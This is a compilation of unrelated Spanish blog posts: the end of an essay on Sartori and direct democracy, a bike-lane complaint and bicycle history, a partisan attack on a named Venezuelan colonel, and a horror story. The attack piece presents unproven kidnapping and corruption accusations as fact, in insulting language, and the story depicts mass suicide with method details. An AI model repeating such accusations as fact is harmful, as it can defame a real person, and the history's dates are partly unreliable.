¿Internet va a resolver esto? Sí, pero sólo para muy poca gente: los que usamos Internet con capacidad de discernimiento, para investigar a fondo los asuntos y los temas, buscando fuentes alternativas, para contrastar con las convencionales. Para el común, Internet y las redes sociales también transmiten imágenes, en fotos, videos y “memes”. Y la diferencia con el televisor, donde se miran en rol pasivo, es que en la PC o el móvil se pueden retrasmitir, reproducir, y hasta producir, en roles activos; pero siempre con el mismo pobre bagaje conceptual e ideológico, que se multiplica, se repite y se masifica hasta la saciedad.

Con un agravante: Internet y las redes sociales crean una “ilusión de participación”. Es una fantasía; pero le han metido a mucha gente un capricho irracional con los métodos de la “democracia directa”: asambleas tumultuarias (“marchas de protesta” a los gritos en las calles), referendums plebiscitarios, voto uninominal en circuitos pequeños, mandatos imperativos y no reelección, etc.

El “directismo” de los analfabetos políticos, advierte Sartori, es muy peligroso.

Porque estos métodos tienen perversas consecuencias; entre otras: (1) política anecdótica, o mejor dicho politiquería, centrada en “issues” menores, pasajeros, superficiales y escandalosos; (2) dominio de “tribus”, poderes fácticos y minorías ruidosas; (3) personalismo, caudillos mesiánicos, esos fugaces demagogos apuntados a “fenómenos electorales”, que se autotitulan “independientes y apolíticos”; (4) inestabilidad generalizada y crónica; (5) aplastamiento de minorías que quedan sin representación, como la de nosotros, queridas lectoras y lectores, ustedes y yo: la minoría pensante.

Se ha hecho mala prensa a la democracia representativa clásica, tranquila y libre de agitaciones y presiones, más racional y menos emocional, de partidos sólidos, políticos profesionales y responsables, con voto plurinominal (por lista) y en circuitos extensos, asegurando así la representación de minorías críticas al sistema imperante, con mandatos de conciencia para los representantes, y libre reelección o no en los cargos, para aprovechar la experiencia de los demostradamente más capaces. Sin estas condiciones, la democracia se erosiona, y toda tiranía tiene franca entrada.

Hasta aquí he resumido y comentado a Sartori, lúcido, inteligente, culto y divertido, pero muy pesimista, en mi modesto juicio. Concluyo tomando una distancia: yo soy más optimista.

Porque como cristiano tengo confianza en el Proyecto de Dios. Y como liberal, dos esperanzas: en el “fusionismo” de liberales clásicos y conservadores en el proyecto nuestro, el Movimiento de las Cinco Reformas; y en la agobiada “mayoría silenciosa”, la que puede entendernos, si se lo explicamos bien.

A futuro podremos ver si hay o no hay solución, para todos estos enredos, y para otros peores.

¡Felices los buenos!

[lagacetadealmeria]

  Los ciclistas, que son unos deportistas que van aumentando día a día y muy especialmente en esta época del año, deben asumir que el carril-bici es una vía que no les pertenece en exclusiva como la carretera a los vehículos a motor sino que deben compartirlo con los cuatriciclos, los carricoches, las motos, los patinetes, los peatones y principalmente los practicantes del footing que suelen ser los menos conscientes de que transitan por una vía que no está pensada en ellos y los más agresivos al no tener reparos a enfrentarse con quien tenga la osadía de llamarles la atención. Y toda esta odisea padecen los ciclistas antes la pasividad municipal.

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LA HISTORIA DE LA BICICLETA

Lo único que está claro es que la bicicleta es un invento europeo. Dependiendo de lo que consideremos una bicicleta existen unas fechas u otras, siendo la primera bicicleta a pedales patentada como tal y a partir de la cual ha evolucionado la industria en el siglo XX la del británico John Kemp Starley en 1885, si bien es cierto que se basó en los modelos europeos construidos a lo largo de todo el siglo XIX.

Existe la creencia de que Leonardo Da Vinci creó el primer boceto en papel de una bicicleta (¡que incluía hasta la cadena de transmisión!) a finales del siglo XV, pero el investigador alemán Hans-Erhard Lessing demostró en 1997 que el diseño se introdujo en los documentos de Leonardo a partir de 1961. También a finales del siglo XVIII, un francés, el conde de Sivrac habría inventado el celerífero, un primitivo cuadro sobre dos ruedas con una cabeza de animal, pero autores como Max Rauck, Gerd Volke y Felix Paturi han desmentido esta fecha atribuyéndola a antiguas rivalidades nacionalistas entre franceses y alemanes.

Prototipo hecho en función de los supuestos planos de Da Vinci

Celerífero supuestamente inventado en la década de 1790

En 1816, Karl Dreis, inventor y aristócrata alemán creó lo que sería el primer vehículo dirigible con dos ruedas en linea. No tenía ni pedales, ni cadenas, ni frenos, sino que avanzaba y frenaba con los pies, pero sí tenía las ruedas, el sillín, el manillar, el cuadro y un sistema de dirección bastante más aparatoso que el que hoy conocemos. Dreis pensaba que su “máquina de correr” o laufmaschine, como la bautizó revolucionaría el transporte de su época, pero no pasó de ser una máquina recreativa muy poco utilizada, aunque sirvió como prototipo para otros posteriores.

El invento de Dreis se conoció como Drasiana

En 1839 el herrero escocés Kirkpatrick Macmillanañadió pedales con barras a un prototipo. Estas innovaciones permitieron al ciclista impulsar la máquina con los pies sin tocar el suelo. El mecanismo de impulsión consistía en pedales cortos fijados a la rueda trasera y conectados por barras a unos pedales situados delante del ciclista. Era impulsada por el empuje de los pies hacia abajo y hacia adelante. La utilizó para realizar viajes dentro de su Escocia natal, pero no llegó a patentar ni vender su invento, por lo que ante la falta de evidencias documentales de esas fechas siempre ha habido escepticismo al rededor de la fecha concreta de creación.

El velocípedo de Macmillan funcionaba con pedales con el mismo movimiento de los trenes. Aún no existía correa de transmisión.

En 1845 el escocés Robert William Thomson sustituyó las ruedas hechas completamente de madera por unos neumáticos inchables que combinaban cuero y goma, y cuyos remaches le daban tracción al conjunto, aunque su invento cayó en desuso y solo se usó durante algunos años en carruajes.

Replica del neumático inchable de Thomson, perteneciente al Museo de Ciencias de Londres.

En 1861, Ernest Michaux decidió dotar de unos pedales a la rueda delantera de una vieja draisiana, por lo que el nuevo invento requería de más equilibrio. Se reconoce a Michaux como el precursor directo de la bicicleta aunque se deben citar nombres como Philip Moritx o Galloux que construyeron bicicletas a pedales para uso particular. El invento de Michaux, la “Michaulina” se empezó a producir en serie atrayendo la atención de las clases populares y este modelo se hizo muy popular en Francia. El cuadro y las ruedas se fabricaban en madera, y estas última llevaban una banda de hierro que era la que tocaba el suelo. Los pedales estaban colocados en la delantera, que era un poco más alta que la rueda de atrás.

Velocípedo de Michaux, a falta de la transmisión ya tiene todos los elementos de una bicicleta actual. Se aprecia un primitivo freno que mediante la tensión de un hilo detiene la rueda trasera por fricción.

En 1869, en Gran Bretaña se introdujeron los neumáticos de goma maciza montados en el acero.

En 1873 James Starley, un inventor inglés, produjo la primera máquina con casi todas las características de la famosa bicicleta de rueda alta. La rueda delantera de la máquina de Starley era tres veces más grande que la de atrás. Su uso se hizo muy popular durante la década de las 70 y los 80, tanto que en enero de 1887, el norteamericano Thomas Stevens realiza el primer viaje en bicicleta alrededor del mundo. Partió de San Francisco y regresó a la misma ciudad después de pedalear durante más de tres años.

Bicicleta de James Starley conocida popularmente como Penny Farthing en relación al tamaño de dos monedas: el penique (Penny) y el cuarto de penique (Farthing). El modelo de la imagen es posterior a 1888 y ya integra neumáticos de aire.

Un penique y un quarto de penique.

Libro escrito por Thomas Stevens al regresar de sus viajes por el mundo con su Penny Farthing desde 1887.

En 1885, John Kemp Starley crea la “bicicleta de seguridad” o Safety Bicycle, muy parecida a una bicicleta urbana actual. Tenía frenos y la postura era mucho más cercana al suelo, de ahí su nombre. Se añadieron poco después, en 1888, los neumáticos con cámara de airedesarrollados por el irlandés John Boyd Dunlop, cuyo tubo interior se rellena de aire amortiguando parte del golpeteo contra los caminos. Las ruedas eran casi del mismo tamaño y los pedales, unidos a una rueda dentada a través de engranajes y una cadena de transmisión, movían la rueda de atrás. La bicicleta de seguridad se extendió rápidamente por todo el mundo industrializado y su precio gracias a la fabricación en serie se fue abaratando cada vez más.

Safety Bicycle de 1885

En Francia, los hermanos Michelín crearon un neumático desmontable y en Italia, Giovanni Battista Pirelli hizo lo propio. Con el neumático y unas cuantas cámaras de recambio se podía ir a todas partes. Las bicicletas de entonces pesaban entre 18 y 20 kilos.

El 31 de mayo de 1889 nació oficialmente el ciclismo de competición. Los hermanos Olivier , asociados de la fábrica de Michaux, organizaron una carrera en el parque de Saint Cloud de París con 1200 metros de recorrido en la que tomaron parte unos pocos ciclistas. A partir de entonces comenzó la fiebre del ciclismo. En el aspecto técnico se investigaba a marchas forzadas para encontrar nuevas soluciones. La velocidad se convirtió en una obsesión en detrimento del peso, el equilibrio o la seguridad. Los fabricantes tendieron a homogeneizar sus máquinas y las descomunales ruedas delanteras se redujeron a un diámetro de 80 centímetros. Estos inventos, junto con el uso de tubos de acero soldados y los asientos de muelles, llevaron a la bicicleta a la cumbre de su desarrollo.

A principios del siglo XX nacerían las primeras competiciones nacionales de gran nivel, como el Tour de Francia, o el Giro de Italia pero todos los avances surgidos desde el siglo XIX contribuyeron a crear la bici tal y como la conocemos hoy.

Guía del ciclista

https://ecomovilidad.net/global/bicicleta-normas-de-trafico-para-ciclistas/

Montar en bicicleta es una de las actividades físicas más saludables que existen

Los ciclistas deben asumir que el carril-bici está compartido en Roquetas de Mar ante la pasividad municipal Los ciclistas, que son unos deportistas que van aumentando día a día y muy especialmente en esta época del año, deben asumir que el carril-bici es una vía que no les pertenece en exclusiva como la carretera a los vehículos a motor sino que deben compartirlo con los cuatriciclos, los carricoches, las motos, los patinetes, los peatones y principalmente los practicantes del footing que suelen ser los menos conscientes de que transitan por una vía que no está pensada en ellos y los más agresivos al no tener reparos a enfrentarse con quien tenga la osadía de llamarles la atención.

[herretes]

Recientemente salió a relucir este nombre dentro de la palestra pública: Bladimir Lugo Armas, Coronel de la Guardia Nacional. Y ¿por qué salió a relucir? Pues el pasado martes 27 de junio el señor Coronel fue grabado agrediendo al presidente de la Asamblea Nacional, Julio Borges.

Pero antes de entrar en los detalles de esta agresión, les vamos a contar el repertorio de actos violentos y delictivos en los que ha incurrido ese malandro de profesión.

El 18 de agosto de 2016, mientras la madre del preso político, Leopoldo López, salía del Palacio de Justicia, Lugo enfrentó a la señora Antonieta Mendoza diciéndole “cállese la boca vieja ridícula”, en pleno ejercicio de su cargo, uniformado y con su chapa bien puesta, porque de cualquier otra forma quizá no se hubiese atrevido. Y por si les quedan dudas, aquí el video de cómo las corre del recinto.

Además, también en mayo del año pasado vimos cómo le arrebató la pancarta a un estudiante, Diego Hernández, quien se encontraba en las inmediaciones del Consejo Nacional Electoral (CNE), ejerciendo su legítimo derecho a la protesta y exigiendo la celebración del Referendo Revocatorio. De nuevo, acá pueden ver el video de cuando le arrebata el cartel y además se lo llevan preso como si fuese un delincuente. Cada ladrón juzga por su condición.

Asimismo, mantiene una particular violencia hacia los medios de comunicación, como todo bandido corrupto que no le gusta que lo agarren en sus fechorías. Hay que recordar que dos meses atrás, amedrentó al reportero gráfico de NTN24, Rafael Hernández, mientras cubría los alrededores de la Vicepresidencia.

Adicionalmente, también dio la orden para que agredieran a Elyangélica González, en las cercanías del Tribunal Supremo de Justicia (TSJ), el pasado mes de abril cuando González se apersonó al TSJ para realizar la cobertura de una protesta estudiantil y asistir a una rueda de prensa a la que fue convocada por la cancillería venezolana.

Aún más, en noviembre del año pasado, se le ve cómo le arrebata también el celular a una corresponsal de prensa del Diario Las Américas, Miriam Arévalo, a las fueras de la Asamblea Nacional. Una vez más, aquí el video para que aprecien el nivel de malandraje de este “funcionario”.

Para rematar, justamente hoy, ordenó suspender un acto que el Parlamento Latinoamericano iba a celebrar en el Museo Boliviano, frente a la Asamblea Nacional, en conmemoración a los periodistas por su día. ¡Una completa joyita!

Resulta además, que entre algunos de sus “episodios” figura el hecho de haber estado retardado cinco años por mala conducta irreverente. Este funcionario, con más de 20 años al servicio de la Guardia Nacional, también le han sido atribuidos en múltiples ocasiones varios casos de corrupción.

Entre los más sonados, está el caso del general retirado Antonio Rivero, quien denunció a Lugo Armas por complicidad en la custodia de la negociación de 972 barras de oro tipo Fed Melted Bars, el pasado 18 de enero de 2015, las cuales fueron enviadas al exterior para su adecuación al estándar internacional.

En el documento publicado por Rivero, se menciona al general Fabio Zavarse, el coronel Lugo Armas y el general Sergio Rivero Marcado, como los encargados de custodiar la exportación hasta La Guaira. Todos los cuales están profundamente implicados en la violencia y los casos de asesinatos de las protestas del año 2017.

De igual forma, Lugo Armas figuró como Comandante del Regimiento Miranda del Comando Nacional de la Guardia del Pueblo durante la gestión de la almirante en jefe, Carmen Teresa Meléndez, quien para el momento se desempeñaba como ministra para la Defensa.

Entre otros de sus cargos, estuvo el de Comandante del penal El Rodeo, justo en el momento cuando más proliferaron los pranes dentro de este recinto penitenciario. Porque lo cierto es que el principal pran y malandro es él.

Para continuar con el prontuario de criminalidades, tras el asalto contra el Presidente de la Asamblea Nacional el pasado martes, Eligio Cedeño, el banquero a quien la jueza María Lourdes Afiuni ordenó en 2009 libertad condicional y quien vive bajo asilo político en EE.UU., denunció el miércoles 28 de junio por Twitter que el Coronel Lugo Armas, es participante en abominables delitos de secuestro, destacando que en el expediente de secuestro de su hija, figura que el Ministerio Público presentó múltiples cruces de llamadas con los delincuentes y aparece este sujeto implicado.

Según Cedeño, en esa oportunidad el tribunal de juicio ordenó su investigación, pues también apareció involucrado en el tristemente famoso secuestro de los hermanos Faddoul. Como se recuerda, el 4 de abril de 2006, toda Venezuela fue estremecida al conocer del impactante hallazgo de los cuerpos de Jason, Kevin y John Faddoul, quienes fueron encontrados sin vida junto al cadáver de su chofer, Miguel Rivas, en horas de la tarde en el sector San Antonio de Yare, estado Miranda.

De esta forma, Cedeño remata afirmando que “tiene al menos dos expedientes por secuestro engavetados desde hace más de 10 años”.

Adicionalmente, en el portal “Crímenes Sin Castigo”, se reseña lo siguiente:

“En la Guardia Nacional hay preocupación por el comportamiento de un coronel de apellidos Lugo Armas, quien fue transferido del destacamento de la Guardia del Pueblo Norte para que velara por la seguridad en el centro de Caracas, donde tienen su asiento los poderes públicos. A él se le atribuye haber permitido, o por lo menos no haber impedido, el paso de integrantes de colectivos armados al interior del Parlamento, para que interrumpieran una sesión del 26 de octubre de 2016 en la que se iba a discutir la ruptura del orden constitucional. Posteriormente, Lugo ha sido grabado en comportamientos alejados de la investidura de un oficial de esa graduación, especialmente cuando se trata de mujeres y periodistas. Esas conductas, desde luego, han permeado en los oficiales y tropas bajo su mando. Desde la propia Guardia Nacional envían la información contenida en su hoja de vida. Allí destacan tres arrestos simples, el más prolongado duró cinco días y fue impuesto por el general de división Gerardo Briceño García (ex comandante general de la GN), debido a la supuesta violación de disposiciones reglamentarias. Las otras sanciones fueron por el incumplimiento de prescripciones reglamentarias y por falsear la verdad en asuntos de servicio. En 2005, además, lo vincularon con una averiguación penal por secuestro. Cabe destacar que esta pesquisa fue cerrada. En casos de otros oficiales, estas hubiesen sido razones suficientes para impedir que ascendiera en la jerarquía militar. Lugo, sin embargo, es depositario de la confianza de sus superiores.”

Y así, cerramos con sus actuaciones criminales y de violencia contra miembros de la Asamblea Nacional. Bladimir Lugo Armas, también fue el que se enfrentó a un grupo de diputados en el mes de marzo, cuando estos se dirigían al TSJ para protestar por la sentencia que disolvía al parlamento. En esta ocasión, el Coronel Lugo empujó y agredió brutalmente a los diputados Carlos Paparoni, Juan Requesens y Marco Bozo. Una vez más, aquí les tenemos el video.

Finalmente, el video en el que aparece metiéndole un empujón al diputado Julio Borges, presidente de la Asamblea Nacional, luego de que éste se presentara reclamando acerca del ingreso de unas cajas de las cuales se desconocía su contenido y se presume que llevaban armas para sembrarle a los diputados e inculparlos de gestar un golpe de Estado.

En este video se le oye al Coronel decir “a mí no me importa que usted sea presidente de la Asamblea, yo soy el comandante de la unidad y manejo mis conflictos como me da la gana”. Lo que el Coronel olvida o ignora, es que él es el encargado de la seguridad de la Asamblea Nacional y todos sus integrantes, es decir, él se debe a la Asamblea. Pero además de esto, debido al infinito poder que este Gobierno le ha otorgado a todas las Fuerzas Armadas Nacionales, a éste se le olvida que se le debe al pueblo venezolano también, que los militares, que el cuerpo castrense, nunca, jamás, está por encima de los civiles, que están a nuestro servicio y deben velar por nuestra protección, como está consagrado dentro de la Constitución de la República. Pero claro, esta es otra de las razones por las cuales defienden la Constituyente: para proteger sus guisos y poder seguir teniendo todo el poder que tienen.

En fin, el repertorio de actos vandálicos de este coronelucho: secuestros, tráfico de oro, agresiones a los medios de comunicación, agresiones a diputados y mujeres, e incontables hechos de violencia dentro de la propia institución castrense. ¡Una joyita realmente!

  guisosrojos.com

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[jugaraserdios]

Invención de la vida eterna en seis días

Día uno. El laboratorio recibió con absoluta normalidad la masa no identificada que fue capturada cerca de la zona donde cayó el meteorito Rapto –Se llama Rapto porque quien lo descubrió dice que fue abducido y la vida fuera de la tierra le dijo que el cuerpo caería sobre nuestro planeta a la hora y en el día en que efectivamente cayó-. Los medios de comunicación y portales web no paran de crear hipótesis sobre la forma de vida que fue traída hoy aquí, sin embargo soy yo quien aclaro en este diario de campo que toda la información dada es FALSA puesto que no hace mucho se tiene esta “masa”, como la han llamado, en el laboratorio.

La masa parece tener una textura granulada, el equipo de laboratorio todavía no ha podido extraer una muestra de ella para evaluar su composición. Sin embargo, a partir del ejercicio de observación, se puede decir que está compuesta en buena medida por agua y que el color de su cuerpo es negro azabache, tan profundo y oscuro como jamás había visto antes.

Día dos. Cuando regresé al laboratorio pude notar que la masa había crecido y por eso decidí pasarla a un recipiente mucho más grande. Cambié de idea, la masa tenía que tener otro tipo de composición porque no entendía qué había sucedido para que esta creciera de tal manera ¿Será un hongo?

Pasé gran parte del día viéndola, concluí que la luz afectaba su estructura y ello hacía que creciera, comprobé mi hipótesis cuando cubrí el recipiente con una manta negra. La oscuridad hacía que la masa no creciera. Por más que busqué, no encontré en su forma ni en su manera de moverse algún órgano o estructura diferente, sin embargo algo raro sentí hoy y es que aunque sé que la masa no tiene ojos, puedo jurar que ella me estuvo mirando.

Ingresé agua al recipiente, la masa no la absorbió.

Día tres. Estoy asustado, si bien dedico mi vida a estudiar fenómenos, esta masa y la presión mediática me tienen más o menos perturbado.

Creció de nuevo, esta vez el triple del tamaño de la última vez. Si bien no estuvo expuesta a la luz, la masa siguió creciendo ¿Por qué? Intenté cortar con unas pinzas parte de su cuerpo pero fue imposible, la masa parece un fantasma, más bien un holograma: se ve muy real pero al momento de intentar contacto, se desvanece.

Cambié el color de la manta por azul y no cambié el tamaño del recipiente. Me sigo sintiendo observado, empiezo a pensar que la masa me ve a través de la manta.

Día cuatro. He estado revisando bibliografía sobre otras formas de vida similares a esta que está en mi laboratorio, también he debido contratar más científicos porque el Gobierno cada vez me presiona más para saber de qué se trata y qué impacto tiene el saber qué es esta masa. Saber… saber, en estos tiempos no sobrevive quien pueda conseguir alimento con sus propias manos sino quien sepa recolectar repeticiones en su memoria. A veces el saber lo que hace es alejarnos de la simpleza del mundo natural.

La masa simuló haberse solidificado, además hizo que la manta azul se volviera negra. Rengifo Loreto y Ana Valeria Gil vinieron desde sus respectivos países a intentar descifrar qué es esta masa. Con ellos –y les agradezco- pudimos concluir que la capacidad de adaptabilidad de la misma es sumamente alta y que es capaz de interactuar con superficies sobre las que no tiene contacto. Retiramos la manta y la trasladamos a un recipiente más grande –resulta que cuando se solidificó, logró generar tanta presión que el material del recipiente anterior comenzó a agrietarse-. Luego decidimos retirar la manta negra antes azul y rodear el recipiente de espejos. Ana y Rengifo me obligaron a ir a casa a descansar mientras ellos pasaban la noche y vigilaban.

Ahora escribo desde mi cama, me siento ansioso, las manos no me dejan de temblar y sigo sintiendo sobre mi cuerpo la mirada negra azabache y profunda de la masa del laboratorio. Sus ojos me han seguido a todas partes aunque ya corroboré que la masa no tiene órganos visibles, no he podido defecar porque siento que me está mirando. Intenté dormir y tampoco funcionó, siento como si la masa estuviera alrededor de mis pies y fuera adueñándose lentamente de mi cuerpo, siento como sube en forma de espiral por mis piernas hasta comerse mi ombligo. La verdad es que no auguro la mejor madrugada.

Día cinco. No fue la mejor madrugada, ni día, ni tarde, ni noche. Escribo desde mi escritorio en el laboratorio, después de un día que comenzó muy temprano. Ana y Rengifo decidieron retirar los espejos al amanecer y vieron que la masa había adquirido la forma de un feto humano. Por otro lado, los espejos perdieron su reflejo y se volvieron tan negros como la masa, Ambos científicos se suicidaron siete minutos antes de mi llegada al laboratorio y esto lo pude saber por las grabaciones de las cámaras de seguridad. Después de que las autoridades retiraron los cuerpos, pude entrar de nuevo a mi lugar, cuando vi la masa esta perdió la forma de feto y comenzó a simular que hervía con furia.

Me asusté, me asusté dos veces. La primera asustada fue porque la masa se estaba comportando de manera muy extraña. La segunda vez que me asuste fue porque la masa emitió un sonido que hizo escapar a todos los científicos de mi laboratorio. ¿Será un hongo?

Paciencia, me dije, respiré profunda y lentamente, yo me calmé y la masa se calmó… la masa se calmó ¡Claro! Si la masa tiene altas capacidades de adaptabilidad posiblemente lo que estaba haciendo era simular la vida humana –y para su pesar, no le había tocado hasta ahora ver lo mejor de la vida humana-. Pusieron mi laboratorio en cuarentena, los otros 19 científicos también se suicidaron.

Todo fue muy rápido, esa misma tarde los medios de comunicación cubrieron desde diferentes puntos de la ciudad, los suicidios de mis compañeros. Todos habían optado por ahorcarse y en las palmas de sus manos habían hecho un círculo con un bisturí. Cuando eso se supo decidieron encerrarme y no dejarme salir. Ahora estamos la masa y yo.

Día seis. El último día, mi último texto en la bitácora, ya descubrí la composición de la masa. Intenté dormir un poco y soñé con mis científicos, Ana y Rengifo también estaban ahí. Todos estaban parados frente a mí como un pelotón de soldados, todos tenían las manos al frente y me mostraban los círculos que habían cortado en las palmas de sus manos.

-Señor Alvarado, señor Alvarado ¡Hay vida eterna!

Me desperté… no, no me desperté, nunca me había quedado dormido, la masa había salido de su recipiente y lo que estaba viendo era una proyección de su interior. Se había estirado como si quisiera tragarme y a través de ella pude ver a los míos.

-Señor Alvarado, la vida es circular y la masa es Dios, usted ha capturado a Dios y lo tiene para usted.

La masa se recogió y adquirió la forma de un aro gigante, quedó flotando frente a mí sin dar señal alguna, yo me quedé mirándola y todas las veces que la intenté tocar esta se diluyó entre mis manos. Si esta masa es Dios, tiene toda lógica que me haya sentido observado incluso sin su presencia, si esta masa es Dios tiene sentido que haya convertido la manta azul en negra. Dios, en mi laboratorio está Dios. DIOS DIOS DIOS DIOS DIOS DIOS DIOS DIOS.

Mi nombre sería recordado para siempre, “el primer hombre que contuvo a Dios”. No, Dios es incontenible; no, yo soy Dios y soy incontenible. La trampa del poder, la ilusión del control, el juego de las palabras. La vida es circular, lo mejor será matarme para comenzar otra vez. Fin, final, FINALMENTE, ya. p>

Día siete. La masa vio su creación y vio que era buena, el séptimo día ella reposó.